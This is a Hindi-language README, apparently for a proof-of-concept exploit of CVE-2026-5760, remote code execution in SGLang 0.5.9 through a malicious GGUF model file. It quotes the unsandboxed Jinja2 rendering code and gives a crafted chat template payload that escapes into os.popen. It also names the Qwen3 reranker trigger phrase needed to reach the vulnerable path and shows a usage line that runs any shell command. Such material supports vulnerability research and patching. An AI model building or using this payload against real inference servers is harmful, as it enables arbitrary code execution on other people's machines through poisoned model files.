
CVE-2026-5760 का प्रूफ ऑफ कॉन्सेप्ट शोषण - दुर्भावनापूर्ण GGUF के माध्यम से SGLang 0.5.9 में RCE
SGLang के reranking एंडपॉइंट में Server-Side Template Injection (SSTI) के माध्यम से Remote Code Execution। एक दुर्भावनापूर्ण GGUF मॉडल फ़ाइल जिसमें क्राफ्टेड tokenizer.chat_template होता है, SGLang में लोड होने और /v1/rerank एंडपॉइंट को कॉल करने पर मनमाना कोड निष्पादन प्राप्त करती है।
अनसैंडबॉक्स्ड Jinja2 टेम्पलेट रेंडरिंग के माध्यम से SGLang में Critical Severity भेद्यता का लाभ उठाता है। SGLang का reranking एंडपॉइंट (/v1/rerank) मॉडल-आपूर्ति किए गए चैट टेम्पलेट्स को ImmutableSandboxedEnvironment के बजाय jinja2.Environment() का उपयोग करके रेंडर करता है, जिससे एक दुर्भावनापूर्ण मॉडल inference सर्वर पर मनमाना Python कोड निष्पादित कर सकता है।
यह उसी भेद्यता वर्ग से संबंधित है जैसा CVE-2024-34359 ("Llama Drama") है, जिसने llama-cpp-python को प्रभावित किया था।
tokenizer.chat_template के साथ एक GGUF मॉडल फ़ाइल तैयार करता हैserving_rerank.py में भेद्य कोड पथ को सक्रिय करने के लिए Qwen3 reranker ट्रिगर वाक्यांश शामिल होता है/v1/rerank पर पहुंचता है, SGLang chat_template को पढ़ता है और उसे jinja2.Environment() के साथ रेंडर करता है — कोई सैंडबॉक्स नहींफ़ाइल: python/sglang/srt/entrypoints/openai/serving_rerank.py
# serving_rerank.py lines 128-132 — UNSANDBOXED
def _get_jinja_env():
return jinja2.Environment( # <-- Should be ImmutableSandboxedEnvironment
loader=jinja2.BaseLoader(),
autoescape=False,
undefined=jinja2.Undefined,
)
PoC एक दुर्भावनापूर्ण GGUF फ़ाइल उत्पन्न करता है और SGLang के अनसैंडबॉक्स्ड रेंडरिंग पथ के माध्यम से कोड निष्पादन को प्रदर्शित करता है।
python3 exploit.py "id"
किसी भी शेल कमांड को तर्क के रूप में पास करें — डिफ़ॉल्ट id है।
GGUF फ़ाइल में एम्बेडेड दुर्भावनापूर्ण चैट टेम्पलेट:
MALICIOUS_TEMPLATE = (
'The answer can only be "yes" or "no".\n'
'{{ lipsum.__globals__["os"].popen("echo SGLANG_RCE_CONFIRMED").read() }}'
'{% for message in messages %}{{ message["content"] }}{% endfor %}'
)
The answer can only be "yes" or "no") SGLang की Qwen3 reranker डिटेक्शन को सक्रिय करने के लिए आवश्यक है, जो अनुरोध को भेद्य _render_jinja_chat_template() पथ के माध्यम से रूट करता है।lipsum.__globals__["os"].popen() मनमाने OS कमांड को निष्पादित करने के लिए Jinja2 कॉन्टेक्स्ट से बच निकलता है।यह टूल केवल अधिकृत सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए है। जिम्मेदारी से उपयोग करें।